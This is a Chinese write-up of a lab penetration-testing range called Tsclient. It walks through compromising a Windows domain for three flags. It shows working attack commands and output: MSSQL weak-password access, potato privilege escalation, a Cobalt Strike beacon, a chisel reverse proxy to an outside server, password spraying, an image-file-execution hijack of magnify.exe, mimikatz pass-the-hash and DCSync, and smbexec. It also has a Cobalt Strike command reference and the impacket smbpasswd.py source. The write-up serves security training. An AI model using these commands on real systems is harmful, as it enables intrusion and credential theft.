Tsclient是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有3个flag,分布于不同的靶机。
❯ .\fscan.exe -h 39.99.128.61
┌──────────────────────────────────────────────┐
│ ___ _ │
│ / _ \ ___ ___ _ __ __ _ ___| | __ │
│ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │
│ / /_\\_____\__ \ (__| | | (_| | (__| < │
│ \____/ |___/\___|_| \__,_|\___|_|\_\ │
└──────────────────────────────────────────────┘
Fscan Version: 2.0.1
[716ms] 已选择服务扫描模式
[716ms] 开始信息扫描
[716ms] 最终有效主机数量: 1
[718ms] 开始主机扫描
[718ms] 使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle
[718ms] 有效端口数量: 233
[748ms] [*] 端口开放 39.99.128.61:80
[1.8s] [*] 端口开放 39.99.128.61:1433
[3.7s] 扫描完成, 发现 2 个开放端口
[3.7s] 存活端口数量: 2
[3.7s] 开始漏洞扫描
[3.7s] POC加载完成: 总共387个,成功387个,失败0个
[5.1s] [*] 网站标题 http://39.99.128.61 状态码:200 长度:703 标题:IIS Windows Server
[21.5s] [+] MSSQL 39.99.128.61:1433 sa 1qaz!QAZ
[21.5s] 扫描已完成: 3/3
扫描 发现是 IIS 服务
然后扫描到 MSSQL 密码泄露
我们使用 MDUT 连接上去
flag01
连接上来
4 个模式,经过测试 SpOA 可以执行命令
当前权限过低什么也操作不了,上传土豆
提权到 system
有权限了,先读取这个机器的 flag
C:/迅雷下载/SweetPotato.exe -a "type C:\Users\Administrator\flag\flag01.txt"
结果如下
继续渗透
flag02
根据题目要求我们上线 CS,用 system 权限给,不然什么也干不了
C:/迅雷下载/SweetPotato.exe -a "C:/Users/Public/beacon.exe"
ok 成功上线
我们获取一下信息和随便测一下
我们在 CS 中执行
hashdump
最后结果如下
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2caf35bb4c5059a3d50599844e2b9b1f:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
John:1008:aad3b435b51404eeaad3b435b51404ee:eec9381b043f098b011be51622282027:::
所有用户的 LM 哈希都是 aad3b435b51404eeaad3b435b51404ee。这是一个特殊的哈希值,代表着“空”的 LM 哈希。这通常意味着:
系统禁用了 LM 哈希的存储(这是现代 Windows 系统的默认安全设置)。
查看在线用户可以发现还存在一个 John 用户
进行注入进程上线,然后进入 john 用户
试几个进程
可以发现注入成功,这里也是上线了
可以发现存在共享文件夹📂
查看文件
shell dir \\tsclient\c
shell type \\tsclient\c\credential.txt
得到一个密码
xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#
#提示
hijiack Image
就是映像劫持
根据提示,先了解一下什么是映像劫持,怎么利用
查看一下机子信息
shell C:\Users\fscan.exe -h 172.22.8.0/24 > C:\Users\Public\1.txt
上传 fscan
扫描一下内网
存活主机(ICMP):172.22.8.18, 172.22.8.15, 172.22.8.31, 172.22.8.46
有效端口数量: 17
开放端口示例:
172.22.8.18:139, 172.22.8.31:445, 172.22.8.31:139, 172.22.8.31:135, ...
发现的主机名(部分):
172.22.8.46: WIN2016
172.22.8.31: WIN19-CLIENT
172.22.8.15: DC01
172.22.8.18: WIN-WEB
网站标题:
http://172.22.8.18 状态码:200 长度:703 标题:IIS Windows Server
http://172.22.8.46 状态码:200 长度:703 标题:IIS Windows Server
发现 MSSQL 弱口令:
MSSQL 172.22.8.18:1433 sa 1qaz!QAZ
18 机子我们已经拿下来了
根据刚才的提示,继续上 chisel 代理一下
C:/Users/Public/SweetPotato.exe -a "C:/Users/Public/chisel.exe client 43.134.9.57:8000 R:0.0.0.0:1080:socks"
开启代理,喷撒一下刚刚给的密码
这里利用crackmapexec 工具
┌──(root㉿kali)-[/mnt/hgfs/shared]
└─# proxychains crackmapexec smb 172.22.8.1/24 -u Aldrich -p 'Ald@rLMWuy7Z!#' -d xiaorang.lab 2>/dev/null
[*] First time use detected
[*] Creating home directory structure
[*] Creating default workspace
[*] Initializing WINRM protocol database
[*] Initializing MSSQL protocol database
[*] Initializing FTP protocol database
[*] Initializing SSH protocol database
[*] Initializing RDP protocol database
[*] Initializing LDAP protocol database
[*] Initializing SMB protocol database
[*] Copying default configuration file
[*] Generating SSL certificate
SMB 172.22.8.46 445 WIN2016 [*] Windows Server 2016 Datacenter 14393 x64 (name:WIN2016) (domain:xiaorang.lab) (signing:False) (SMBv1:True)
SMB 172.22.8.31 445 WIN19-CLIENT [*] Windows 10 / Server 2019 Build 17763 x64 (name:WIN19-CLIENT) (domain:xiaorang.lab) (signing:False) (SMBv1:False)
SMB 172.22.8.15 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:xiaorang.lab) (signing:True) (SMBv1:False)
SMB 172.22.8.46 445 WIN2016 [-] xiaorang.lab\Aldrich:Ald@rLMWuy7Z!# STATUS_PASSWORD_EXPIRED
SMB 172.22.8.18 445 WIN-WEB [*] Windows Server 2016 Datacenter 14393 x64 (name:WIN-WEB) (domain:xiaorang.lab) (signing:False) (SMBv1:True)
SMB 172.22.8.31 445 WIN19-CLIENT [-] xiaorang.lab\Aldrich:Ald@rLMWuy7Z!# STATUS_PASSWORD_EXPIRED
SMB 172.22.8.15 445 DC01 [-] xiaorang.lab\Aldrich:Ald@rLMWuy7Z!# STATUS_PASSWORD_EXPIRED
SMB 172.22.8.18 445 WIN-WEB [-] xiaorang.lab\Aldrich:Ald@rLMWuy7Z!# STATUS_LOGON_FAILURE
这里发现三个提示是密码过期了
SMB 172.22.8.46 445 WIN2016 [-] xiaorang.lab\Aldrich:Ald@rLMWuy7Z!# STATUS_PASSWORD_EXPIRED
SMB 172.22.8.18 445 WIN-WEB [*] Windows Server 2016 Datacenter 14393 x64 (name:WIN-WEB) (domain:xiaorang.lab) (signing:False) (SMBv1:True)
SMB 172.22.8.31 445 WIN19-CLIENT [-] xiaorang.lab\Aldrich:Ald@rLMWuy7Z!# STATUS_PASSWORD_EXPIRED
SMB 172.22.8.15 445 DC01 [-] xiaorang.lab\Aldrich:Ald@rLMWuy7Z!# STATUS_PASSWORD_EXPIRED
利用脚本批量改下密码
proxychains python3 smbpasswd.py xiaorang.lab/Aldrich:'Ald@rLMWuy7Z!#'@172.22.8.15 -newpass 'U*MT%yB22fU5aT'
15 机子,连不上
RDP 尝试连接 46 机子
aldrich@xiaorang.lab
U*MT%yB22fU5aT
连上来
在 PS 中执行命令,查看权限
get-acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl *
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentV
ersion\Image File Execution Options
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentV
ersion
PSChildName : Image File Execution Options
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
CentralAccessPolicyId :
CentralAccessPolicyName :
Path : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentV
ersion\Image File Execution Options
Owner : NT AUTHORITY\SYSTEM
Group : NT AUTHORITY\SYSTEM
Access : {System.Security.AccessControl.RegistryAccessRule, System.Security.AccessControl.RegistryAcce
ssRule, System.Security.AccessControl.RegistryAccessRule, System.Security.AccessControl.Regis
tryAccessRule...}
Sddl : O:SYG:SYD:PAI(A;CIIO;KA;;;CO)(A;CI;CCDCLCSWRPRC;;;AU)(A;CI;KA;;;SY)(A;CI;KA;;;BA)(A;CI;KR;;;B
U)(A;CI;KR;;;AC)
AccessToString : CREATOR OWNER Allow FullControl
NT AUTHORITY\Authenticated Users Allow SetValue, CreateSubKey, ReadKey
NT AUTHORITY\SYSTEM Allow FullControl
BUILTIN\Administrators Allow FullControl
BUILTIN\Users Allow ReadKey
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadKey
AuditToString :
AccessRightType : System.Security.AccessControl.RegistryRights
AccessRuleType : System.Security.AccessControl.RegistryAccessRule
AuditRuleType : System.Security.AccessControl.RegistryAuditRule
AreAccessRulesProtected : True
AreAuditRulesProtected : False
AreAccessRulesCanonical : True
AreAuditRulesCanonical : True
我们登录的人都可以修改注册表
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
**给 **
**<font style="background-color:rgba(129, 139, 152, 0.12);">magnify.exe</font>**
设置了一个“调试器”,当用户或系统启动 magnify.exe 时,并不会真正启动放大镜程序,而是启动了 C:\windows\system32\cmd.exe
放大镜提权
- 先进入锁定界面
- 然后点击图片中右下角图标
- 选择发大镜
- 触发进入 System 权限终端
为了方便命令执行
我们设置 CS 转发,在原来机子的基础上,访问内部网络
但是不是很稳定,过个几分钟就会崩溃掉
也是拿到 flag2
shell type C:\Users\Administrator\flag\flag02.txt
flag03
上传猕猴桃
RDP 里面可以直接粘贴复制本机文件和内容
我直接上传到桌面C:\Users\Aldrich\Desktop
获取一些信息
logonpasswords
shell net user /domain
就是发现<font style="color:rgb(82, 95, 127);">win2016$</font>
在域管组里面
找到对应的 HASH 值
这里图片没截图好,抱歉
shell C:\\Users\\Aldrich\\Desktop\\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:WIN2016$ /domain:xiaorang.lab /ntlm:e2b1058677aab11c6b7359eb7d8d4d77" "exit"
获得对应 hash 值
shell C:\\Users\\Aldrich\\Desktop\\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:xiaorang.lab /all /csv" "exit"
最后使用**Pass-the-Hash**
┌──(root㉿kali)-[/mnt/…/shared/impacket-0.12.0/impacket-0.12.0/examples]
└─# proxychains python3 smbexec.py -hashes :2c9d81bdcf3ec8b1def10328a7cc2f08 administrator@172.22.8.15
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[proxychains] Strict chain ... 43.134.9.57:1088 ... 172.22.8.15:445 ... OK
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>type C:\Users\Administrator\flag\flag03.txt
_________ __ _ _
| _ _ | [ | (_) / |_
|_/ | | \_|.--. .---. | | __ .---. _ .--. `| |-'
| | ( (`\] / /'`\] | | [ |/ /__\\[ `.-. | | |
_| |_ `'.'. | \__. | | | || \__., | | | | | |,
|_____| [\__) )'.___.'[___][___]'.__.'[___||__]\__/
Congratulations! ! !
flag03: flag{47227631-3839-45c1-ae12-8fe7a6d876f6}
执行这个脚本可以获得一个命令执行的交互
我们得到这个 15 机子的 system 权限
得到 flag03
Others
Cobalt Strike
可能现在都用的是 CS 的衍生工具
搭建 cs 平台
如何配置 CS 看下面这个文章
安装 Java 11huanjing
sudo apt install openjdk-11-jdk
配置 server
43.134.9.57
./teamserver 43.134.9.57 pass
在 client 连接进来
Payload 种类和选择
- HTML Application
- 生成一个 .hta 格式的恶意 HTML 应用程序,适合用于钓鱼邮件、Web social engineering 等场景,在目标浏览器中执行后触发 payload。
- MS Office Macro
- 生成一个可嵌入 Word、Excel 等 Office 文件的宏(VBA 脚本),适合钓鱼邮件附件。目标打开文档并启用宏后,执行 payload。
- Stager Payload Generator
- 生成“小体积的第一阶段加载器”,主要用于下载和加载真正的 beacon(即二阶段 payload)。适合需要先绕过杀软、再拉下主 beacon 的场景。
- 通常体积小、隐蔽性好,但依赖网络二次下载。
- Stageless Payload Generator
- 生成“一步到位的主载荷”,不会分阶段,所有代码都打包在一个文件中,适合不受网络限制、对体积要求不高的场景。
- 更稳定,但体积较大,检测率有时更高。
- Windows Stager Payload
- 专门为 Windows 平台生成“分阶段”payload(即先下 stager,再加载 beacon)。
- 适合在 Windows 靶机上先执行一小段代码,随后自动回连主 beacon。
- Windows Stageless Payload
- 专门为 Windows 平台生成“一步到位”的 payload,所有内容打包进一个文件。
- 适合直接部署到 Windows 靶机,执行后直接上线。
- Windows Stageless Generate All Payloads
- 一次性为 Windows 平台生成所有主流格式的“一步到位”payload,比如 exe、dll、ps1、bin 等。
Beacon 内置命令
argue 命令行参数欺骗
blockdlls 禁止子进程加载非微软签名的dll
browserpivot 注入浏览器进程代理用户已认证身份(仅支持IE)
cancel 取消正在下载的文件
cd 跳转目录
checkin 强制目标回连并更新状态(用于DNS上线,DNS模式下无新任务时目标不会回连Teamserver)
chromedump 提取Chrome保存的账号密码、Cookies等信息
covertvpn 部署Covert VPN客户端
clear 清空beacon任务队列
connect 通过TCP正向连接远程Beacon
cp 复制文件
dcsync 从域控提取密码hash
desktop 远程VNC控制用户桌面
dllinject 注入一个内存反射加载的dll到目标进程
dllload 使用LoadLibrary方式在目标进程中加载一个dll
download 下载文件
downloads 列出所有正在下载的文件
drives 列出所有磁盘盘符
elevate 利用提权漏洞获取一个高权限Beacon
execute 在目标上执行程序(无回显)
execute-assembly 在目标上内存加载执行本地.NET程序
exit 结束当前Beacon会话
getprivs 在当前进程访问令牌(access token)中启用system特权
getsystem 尝试获取SYSTEM用户权限
getuid 获取当前进程访问令牌(access token)的用户信息
hashdump 获取本地用户hash
history 显示历史命令记录
help 帮助信息
inject 在指定进程中注入新的Beacon会话
inline-execute 在当前会话中执行Beacon Object File
jobs 列出所有后台任务
jobkill 结束一个后台任务
jump 在远程机器上植入Beacon(横向移动)
kerberos_ccache_use 从ccache文件导入kerberos票据到当前会话中
kerberos_ticket_purge 清空当前会话中的所有kerberos票据
kerberos_ticket_use 从ticket文件中导入kerberos票据到当前会话中
keylogger 开启键盘记录
kill 结束指定进程
link 通过命名管道正向连接远程Beacon
logonpasswords 使用mimikatz获取密码和hash
ls 列出目录文件
make_token 创建进程访问令牌(access token),仅用于访问网络资源
mimikatz 运行mimikatz
mkdir 创建目录
mode dns 使用DNS A记录作为数据通道(仅支持DNS上线Beacon)
mode dns6 使用DNS AAAA记录作为数据通道(仅支持DNS上线Beacon)
mode dns-txt 使用DNS TXT记录作为数据通道(仅支持DNS上线Beacon)
mv 移动文件
net 网络和主机探测工具(内置net命令)
note 给当前会话添加备注信息
portscan 网络端口扫描
powerpick 内存执行Powershell命令(不调用powershell.exe)
powershell 通过powershell.exe执行Powershell命令
powershell-import 导入本地powershell脚本到当前会话中
ppid 为所有新运行的进程设置伪造的父进程PID
printscreen 使用PrintScr方式截屏
ps 显示进程列表
psinject 注入到指定进程后在内存中执行Powershell命令(不调用powershell.exe)
pth 使用Mimikatz执行Pass-the-hash
pwd 显示当前目录
reg 查询注册表
remote-exec 在远程机器上执行命令(横向移动)
rev2self 恢复原始进程访问令牌(access token)
rm 删除文件或文件夹
rportfwd 反向端口转发(从Cobalt Strike Teamserver发起连接)
rportfwd_local 反向端口转发(从Cobalt Strike客户端发起连接)
run 在目标上执行程序(有回显)
runas 以另一个用户身份执行程序
runasadmin 以高权限执行程序
runu 以另一个进程PID作为父进程PID,并以其用户身份执行程序
screenshot 截屏
screenwatch 屏幕监控,每隔一段时间截屏
setenv 设置环境变量
shell 使用cmd.exe执行命令
shinject 注入shellcode到指定进程中
shspawn 创建傀儡进程并注入shellcode到其中运行
sleep 设置beacon回连间隔时间
socks 启动SOCKS4a代理服务器
socks stop 停止SOCKS4a代理服务器
spawn 创建一个新Beacon会话
spawnas 以另一个用户身份创建一个新Beacon会话
spawnto 设置创建新进程时使用的可执行文件路径(傀儡进程的宿主exe文件路径)
spawnu 以另一个进程PID作为父进程PID,并以其用户身份创建一个新Beacon会话
spunnel 运行第三方agent shellcode并将其反向代理到控制端(从Cobalt Strike Teamserver发起连接)
spunnel_local 运行第三方agent shellcode并将其反向代理到控制端(从Cobalt Strike客户端发起连接)
ssh 通过SSH连接远程主机(使用账号密码认证)
ssh-key 通过SSH连接远程主机(使用证书私钥认证)
steal_token 从指定进程中窃取访问令牌(access token)
timestomp 复制B文件的创建、访问、修改时间戳到A文件(文件时间戳伪造)
unlink 断开与beacon的连接(用于通过TCP、命名管道连接的beacon)
upload 上传文件
! 运行历史命令
smbpasswd.py 存档
https://lira.epac.to/DOCS/python3-impacket/examples/smbpasswd.py
#!/usr/bin/env python
# Impacket - Collection of Python classes for working with network protocols.
#
# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# This script is an alternative to smbpasswd tool and intended to be used
# for changing passwords remotely over SMB (MSRPC-SAMR). It can perform the
# password change when the current password is expired, and supports NTLM
# hashes as a new password value instead of a plaintext value. As for the
# latter approach the new password is flagged as expired after the change
# due to how SamrChangePasswordUser function works.
#
# Examples:
# smbpasswd.py j.doe@192.168.1.11
# smbpasswd.py contoso.local/j.doe@DC1 -hashes :fc525c9683e8fe067095ba2ddc971889
# smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!'
# smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newhashes :126502da14a98b58f2c319b81b3a49cb
# smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!' -altuser administrator -altpass 'Adm1nPassw0rd!'
# smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newhashes :126502da14a98b58f2c319b81b3a49cb -altuser CONTOSO/administrator -altpass 'Adm1nPassw0rd!' -admin
# smbpasswd.py SRV01/administrator:'Passw0rd!'@10.10.13.37 -newhashes :126502da14a98b58f2c319b81b3a49cb -altuser CONTOSO/SrvAdm -althash 6fe945ead39a7a6a2091001d98a913ab
#
# Author:
# @snovvcrash
# @bransh
# @alefburzmali
#
# References:
# https://snovvcrash.github.io/2020/10/31/pretending-to-be-smbpasswd-with-impacket.html
# https://www.n00py.io/2021/09/resetting-expired-passwords-remotely/
# https://github.com/samba-team/samba/blob/master/source3/utils/smbpasswd.c
# https://github.com/SecureAuthCorp/impacket/pull/381
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/acb3204a-da8b-478e-9139-1ea589edb880
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/9699d8ca-e1a4-433c-a8c3-d7bebeb01476
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/538222f7-1b89-4811-949a-0eac62e38dce
#
import sys
import logging
from getpass import getpass
from argparse import ArgumentParser
from impacket import version
from impacket.examples import logger
from impacket.examples.utils import parse_target
from impacket.dcerpc.v5 import transport, samr
class SMBPasswd:
def __init__(self, address, domain='', username='', oldPassword='', newPassword='', oldPwdHashLM='', oldPwdHashNT='', newPwdHashLM='', newPwdHashNT=''):
self.address = address
self.domain = domain
self.username = username
self.oldPassword = oldPassword
self.newPassword = newPassword
self.oldPwdHashLM = oldPwdHashLM
self.oldPwdHashNT = oldPwdHashNT
self.newPwdHashLM = newPwdHashLM
self.newPwdHashNT = newPwdHashNT
self.dce = None
def connect(self, domain='', username='', password='', nthash='', anonymous=False):
rpctransport = transport.SMBTransport(self.address, filename=r'\samr')
if anonymous:
rpctransport.set_credentials(username='', password='', domain='', lmhash='', nthash='', aesKey='')
elif username != '':
lmhash = ''
rpctransport.set_credentials(username, password, domain, lmhash, nthash, aesKey='')
else:
rpctransport.set_credentials(self.username, self.oldPassword, self.domain, self.oldPwdHashLM, self.oldPwdHashNT, aesKey='')
self.dce = rpctransport.get_dce_rpc()
self.dce.connect()
self.dce.bind(samr.MSRPC_UUID_SAMR)
def hSamrUnicodeChangePasswordUser2(self):
try:
resp = samr.hSamrUnicodeChangePasswordUser2(self.dce, '\x00', self.username, self.oldPassword, self.newPassword, self.oldPwdHashLM, self.oldPwdHashNT)
except Exception as e:
if 'STATUS_PASSWORD_RESTRICTION' in str(e):
logging.critical('Some password update rule has been violated. For example, the password may not meet length criteria.')
else:
raise e
else:
if resp['ErrorCode'] == 0:
logging.info('Password was changed successfully.')
else:
logging.error('Non-zero return code, something weird happened.')
resp.dump()
def hSamrChangePasswordUser(self):
try:
serverHandle = samr.hSamrConnect(self.dce, self.address + '\x00')['ServerHandle']
domainSID = samr.hSamrLookupDomainInSamServer(self.dce, serverHandle, self.domain)['DomainId']
domainHandle = samr.hSamrOpenDomain(self.dce, serverHandle, domainId=domainSID)['DomainHandle']
userRID = samr.hSamrLookupNamesInDomain(self.dce, domainHandle, (self.username,))['RelativeIds']['Element'][0]
userHandle = samr.hSamrOpenUser(self.dce, domainHandle, userId=userRID)['UserHandle']
except Exception as e:
if 'STATUS_NO_SUCH_DOMAIN' in str(e):
logging.critical('Wrong realm. Try to set the domain name for the target user account explicitly in format DOMAIN/username.')
return
else:
raise e
try:
resp = samr.hSamrChangePasswordUser(self.dce, userHandle, self.oldPassword, newPassword='', oldPwdHashNT=self.oldPwdHashNT,
newPwdHashLM=self.newPwdHashLM, newPwdHashNT=self.newPwdHashNT)
except Exception as e:
if 'STATUS_PASSWORD_RESTRICTION' in str(e):
logging.critical('Some password update rule has been violated. For example, the password history policy may prohibit the use of recent passwords.')
else:
raise e
else:
if resp['ErrorCode'] == 0:
logging.info('NTLM hashes were changed successfully.')
else:
logging.error('Non-zero return code, something weird happened.')
resp.dump()
def hSamrSetInformationUser(self):
try:
serverHandle = samr.hSamrConnect(self.dce, self.address + '\x00')['ServerHandle']
domainSID = samr.hSamrLookupDomainInSamServer(self.dce, serverHandle, self.domain)['DomainId']
domainHandle = samr.hSamrOpenDomain(self.dce, serverHandle, domainId=domainSID)['DomainHandle']
userRID = samr.hSamrLookupNamesInDomain(self.dce, domainHandle, (self.username,))['RelativeIds']['Element'][0]
userHandle = samr.hSamrOpenUser(self.dce, domainHandle, userId=userRID)['UserHandle']
except Exception as e:
if 'STATUS_NO_SUCH_DOMAIN' in str(e):
logging.critical('Wrong realm. Try to set the domain name for the target user account explicitly in format DOMAIN/username.')
return
else:
raise e
try:
resp = samr.hSamrSetNTInternal1(self.dce, userHandle, self.newPassword, self.newPwdHashNT)
except Exception as e:
raise e
else:
if resp['ErrorCode'] == 0:
logging.info('Credentials were injected into SAM successfully.')
else:
logging.error('Non-zero return code, something weird happened.')
resp.dump()
def init_logger(options):
logger.init(options.ts)
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
logging.debug(version.getInstallationPath())
else:
logging.getLogger().setLevel(logging.INFO)
def parse_args():
parser = ArgumentParser(description='Change password over SMB.')
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('-ts', action='store_true', help='adds timestamp to every logging output')
parser.add_argument('-debug', action='store_true', help='turn DEBUG output ON')
group = parser.add_mutually_exclusive_group()
group.add_argument('-newpass', action='store', default=None, help='new SMB password')
group.add_argument('-newhashes', action='store', default=None, metavar='LMHASH:NTHASH', help='new NTLM hashes, format is LMHASH:NTHASH '
'(the user will be asked to change their password at next logon)')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action='store', default=None, metavar='LMHASH:NTHASH', help='NTLM hashes, format is LMHASH:NTHASH')
group = parser.add_argument_group('RPC authentication')
group.add_argument('-altuser', action='store', default=None, help='alternative username')
group.add_argument('-altpass', action='store', default=None, help='alternative password')
group.add_argument('-althash', action='store', default=None, help='alternative NT hash')
group = parser.add_argument_group('set credentials method')
group.add_argument('-admin', action='store_true', help='injects credentials into SAM (requires admin\'s priveleges on a machine, '
'but can bypass password history policy)')
return parser.parse_args()
if __name__ == '__main__':
print(version.BANNER)
options = parse_args()
init_logger(options)
domain, username, oldPassword, address = parse_target(options.target)
if domain is None:
domain = 'Builtin'
if options.hashes is not None:
try:
oldPwdHashLM, oldPwdHashNT = options.hashes.split(':')
except ValueError:
logging.critical('Wrong hashes string format. For more information run with --help option.')
sys.exit(1)
else:
oldPwdHashLM = ''
oldPwdHashNT = ''
if oldPassword == '' and oldPwdHashNT == '' and not options.admin:
oldPassword = getpass('Current SMB password: ')
if options.newhashes is not None:
try:
newPwdHashLM, newPwdHashNT = options.newhashes.split(':')
except ValueError:
logging.critical('Wrong new hashes string format. For more information run with --help option.')
sys.exit(1)
newPassword = ''
else:
newPwdHashLM = ''
newPwdHashNT = ''
if options.newpass is None:
newPassword = getpass('New SMB password: ')
if newPassword != getpass('Retype new SMB password: '):
logging.critical('Passwords do not match, try again.')
sys.exit(1)
else:
newPassword = options.newpass
smbpasswd = SMBPasswd(address, domain, username, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, newPwdHashLM, newPwdHashNT)
if options.altuser is not None:
try:
altDomain, altUsername = options.altuser.split('/')
except ValueError:
altDomain = domain
altUsername = options.altuser
if options.altpass is not None and options.althash is None:
altPassword = options.altpass
altNTHash = ''
elif options.altpass is None and options.althash is not None:
altPassword = ''
altNTHash = options.althash
elif options.altpass is None and options.althash is None:
logging.critical('Please, provide either alternative password or NT hash for RPC authentication.')
sys.exit(1)
else: # if options.altpass is not None and options.althash is not None
logging.critical('Argument -altpass not allowed with argument -althash.')
sys.exit(1)
else:
altUsername = ''
try:
if altUsername == '':
smbpasswd.connect()
else:
logging.debug('Using {}\\{} credentials to connect to RPC.'.format(altDomain, altUsername))
smbpasswd.connect(altDomain, altUsername, altPassword, altNTHash)
except Exception as e:
if any(msg in str(e) for msg in ['STATUS_PASSWORD_MUST_CHANGE', 'STATUS_PASSWORD_EXPIRED']):
if newPassword:
logging.warning('Password is expired, trying to bind with a null session.')
smbpasswd.connect(anonymous=True)
else:
logging.critical('Cannot set new NTLM hashes when current password is expired. Provide a plaintext value for the new password.')
sys.exit(1)
elif 'STATUS_LOGON_FAILURE' in str(e):
logging.critical('Authentication failure.')
sys.exit(1)
else:
raise e
if options.admin:
# Inject credentials into SAM (requires admin's privileges)
smbpasswd.hSamrSetInformationUser()
else:
if newPassword:
# If using a plaintext value for the new password
smbpasswd.hSamrUnicodeChangePasswordUser2()
else:
# If using NTLM hashes for the new password
smbpasswd.hSamrChangePasswordUser()